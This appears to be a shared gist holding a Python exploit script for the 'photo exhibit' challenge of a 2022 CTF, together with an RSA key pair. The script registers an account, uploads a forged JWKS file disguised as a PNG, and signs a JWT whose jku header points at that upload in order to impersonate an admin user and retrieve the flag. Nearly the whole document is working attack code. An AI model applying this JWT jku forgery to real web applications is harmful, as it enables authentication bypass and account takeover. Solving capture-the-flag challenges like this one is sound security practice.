Created
March 5, 2022 15:06
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Exploit for challenge(`the photo exhibit`) from foobar 2022 ctf.
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| #!/usr/bin/env python3 | |
| #exploit written by ryn0(krn_bhargav) | |
| from requests import Session,get | |
| from bs4 import BeautifulSoup | |
| import jwt | |
| url = 'http://chall.nitdgplug.org:30623' | |
| pub_key = open('pub.key','r').read() | |
| pvt_key = open('pvt.key','r').read() | |
| n='AL2dm+Myrfhs96B/kMzGkxeUnkuSDBf9axQ2PvRBLGCAo5CpCwNJBIS5pjr9InHCuJhs4486tZt3Fplxe9KmpnJQpuN7Q/LU6ZAF2QXsdWmj1IkLjYJ+7iecCSSZZjtiPtnZN/Pkyv/1FjxWm8p9pHoVjJ+dcw9TtufaAzJ2jilBQrhUFSPEu5863vyJT1Ov1otuTg12C7rs13RCcSaQhpf9lRmYM1HZ0aiqLgrQO+PPaGWYnk42hJHgn2TVsLt4+fkCaVzx7zHQ52dzLoAr+DKOCu9NcEzHKNSQRqlv+OwP2dLcPiRtdO9KnBT1V5j5UilKIU9lCAJOX43ZEDHZycU=' | |
| kid='ryn0' | |
| username = 'ryn0_123' | |
| password = 'best_of_future_from_ryn0' | |
| admin_uuid = '683999a1-8bea-4278-876a-5ba278ea7917' | |
| s = Session() | |
| def register(): | |
| try: | |
| r = s.post(url+'/register',data={'username':username,'password':password},allow_redirects=False) | |
| if r.status_code == 302: | |
| return True | |
| return False | |
| except Exception as e: | |
| print(e) | |
| def login(): | |
| try: | |
| r = s.post(url+'/login',data={'username':username,'password':password},allow_redirects=False) | |
| if r.status_code == 302: | |
| return True | |
| return False | |
| except Exception as e: | |
| print(e) | |
| def upload_jwt(): | |
| payload='{"keys":[{"alg":"RS256","e":"AQAB","kid":"'+kid+'","kty":"RSA","n":"'+n+'}","use":"sig"}]}' | |
| with open('payload.png','w') as fl: | |
| fl.write(payload) | |
| try: | |
| r = s.post(url+'/uploads',files={'fileUpload':('payload.png',open('payload.png','rb'))}) | |
| if(r.status_code == 200): | |
| soap = BeautifulSoup(r.text,'lxml') | |
| img=soap.find('img',{'class':'card-img-top'}) | |
| return '/'+ str(img['src']) | |
| return None | |
| except Exception as e: | |
| print(e) | |
| def generateMaliciousJWT(jku): | |
| return jwt.encode({'uuid':admin_uuid},pvt_key,algorithm='RS256',headers={ | |
| 'kid':kid, | |
| 'jku':url+jku | |
| }) | |
| def getFlag(jt): | |
| try: | |
| r = get(url+'/gallery',cookies={'session':str(jt.decode())}) | |
| if(r.status_code == 200 ): | |
| soup = BeautifulSoup(r.text,'lxml') | |
| return soup.find('h2').text | |
| except Exception as e: | |
| print(e) | |
| if __name__ == '__main__': | |
| if(register()): | |
| print('[+] Register Successfull') | |
| if(login()): | |
| print('[+] login Successfull') | |
| jku = upload_jwt() | |
| if(jku): | |
| jt=generateMaliciousJWT(jku) | |
| print(f'jwt generated : {jt}\n\n') | |
| print(f'flag : {getFlag(jt)}') | |
| else: | |
| print('[-] Not able to login') | |
| else: | |
| print('[-] Not able to register') |
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| -----BEGIN PUBLIC KEY----- | |
| MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvZ2b4zKt+Gz3oH+QzMaT | |
| F5SeS5IMF/1rFDY+9EEsYICjkKkLA0kEhLmmOv0iccK4mGzjjzq1m3cWmXF70qam | |
| clCm43tD8tTpkAXZBex1aaPUiQuNgn7uJ5wJJJlmO2I+2dk38+TK//UWPFabyn2k | |
| ehWMn51zD1O259oDMnaOKUFCuFQVI8S7nzre/IlPU6/Wi25ODXYLuuzXdEJxJpCG | |
| l/2VGZgzUdnRqKouCtA7489oZZieTjaEkeCfZNWwu3j5+QJpXPHvMdDnZ3MugCv4 | |
| Mo4K701wTMco1JBGqW/47A/Z0tw+JG1070qcFPVXmPlSKUohT2UIAk5fjdkQMdnJ | |
| xQIDAQAB | |
| -----END PUBLIC KEY----- |
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| -----BEGIN RSA PRIVATE KEY----- | |
| MIIEowIBAAKCAQEAvZ2b4zKt+Gz3oH+QzMaTF5SeS5IMF/1rFDY+9EEsYICjkKkL | |
| A0kEhLmmOv0iccK4mGzjjzq1m3cWmXF70qamclCm43tD8tTpkAXZBex1aaPUiQuN | |
| gn7uJ5wJJJlmO2I+2dk38+TK//UWPFabyn2kehWMn51zD1O259oDMnaOKUFCuFQV | |
| I8S7nzre/IlPU6/Wi25ODXYLuuzXdEJxJpCGl/2VGZgzUdnRqKouCtA7489oZZie | |
| TjaEkeCfZNWwu3j5+QJpXPHvMdDnZ3MugCv4Mo4K701wTMco1JBGqW/47A/Z0tw+ | |
| JG1070qcFPVXmPlSKUohT2UIAk5fjdkQMdnJxQIDAQABAoIBAQCmJf68vGG4tzLc | |
| jisBZFbraKy0J0s1kjdLxKSxPpJ2FQI99gHSZR7ydgJ02e5epHNADNnxXU5Y5acF | |
| 2WzYjnJ25Lj3x8EofOwT6SvbhvDzGj1XwKnE2Rgx2QYh7dCo5FOSbEYdDjPayJUt | |
| Ve65JhMDbvKDwmFZ4s74pg37H+s9tY2vctvN0W8oUh9tS+EQFC0eJxEdXdsBSz4M | |
| /Q+tGOUerVd9JoktNVClcEl0F9yJNX094lT4+rKrdRaVC0CkYNW9bPLJEeu43O7m | |
| q9ZVCt37wesThopKcKvosRTpnBYQvn0JSFpZ/CqdiG/cGPoY6/IPihDztihlEeg2 | |
| WzUmfELZAoGBAP1cM7Fw7RkN7VzdXNNMXzYu2eOHE/wwahBopcJl9TTdsWaBQJBo | |
| Rke0rG0V051T/HADTleaPADpXLM0rsAetY0tNQm171iYv05IldPv6bTnCwHX2ph2 | |
| eJcfvx/hDgKBddZNSjSOjz0T14GT3KnwJ+rvuf0yHhqecWCSRs68Z0Y7AoGBAL+X | |
| YO812tTamlrZpHH9Ut4sbvkRtM6KIqHY9xhS6/Y+j87K2bCk15E3VAl+keTpa0lA | |
| 1LnmBkjktQWY/C5Wltqw/UJz9sDh1jX8v9sSfu4zF4QR7ClZofdZepk0kBOe9jaX | |
| tT0eC8Z+b2EiDxWFMvb1iOY0MddF/Cj3VHij4i//AoGAZLT7jzJ17BmPGfSbaxnW | |
| VrE0xq3wkbOk1TTjfmwMlaDxXO9PfJcWKHZ2ez3LyaOSmeuWfle+NhaMVGdCdvc9 | |
| 7wnjJSL+Klc8458SfxXD7bZQt8DXEPc2Y8uoqsFIUlKnRjGep1lrMjnq1YSyl5Hw | |
| LAByC2SadrY4FszN/GsDGfUCgYBuTNZPoS+kz12B5D7aKT9mDSquVdVD+x7JEsHe | |
| zQ5vq8DbCsmc+qnoPnQxKx8PLJrJh3twss73dEQLPvIgM1WR/ccwVNbAYMQUPLiv | |
| hMxykhN9w1u0ypeGcYs1XJ99zExvTZPX5c5drjitMRCCETcwGleAQJhZGT98zjdh | |
| ZOg5PQKBgFEpVPTm8MUBMKOEBNkmpxqRdsWnVmiKhPWB01BKiF48HYadKtobNxXp | |
| +YsQv7+ZPZ30amLOH2AYOinxy2cqaGpCm1a4yR2QoIOv1XYaycsoXNayRxxp2s5u | |
| SEgKa/JwA/ah1OP/unJV5oUz+OHoFxW2BaSpEgcAXOjcXCY2w3Yj | |
| -----END RSA PRIVATE KEY----- |
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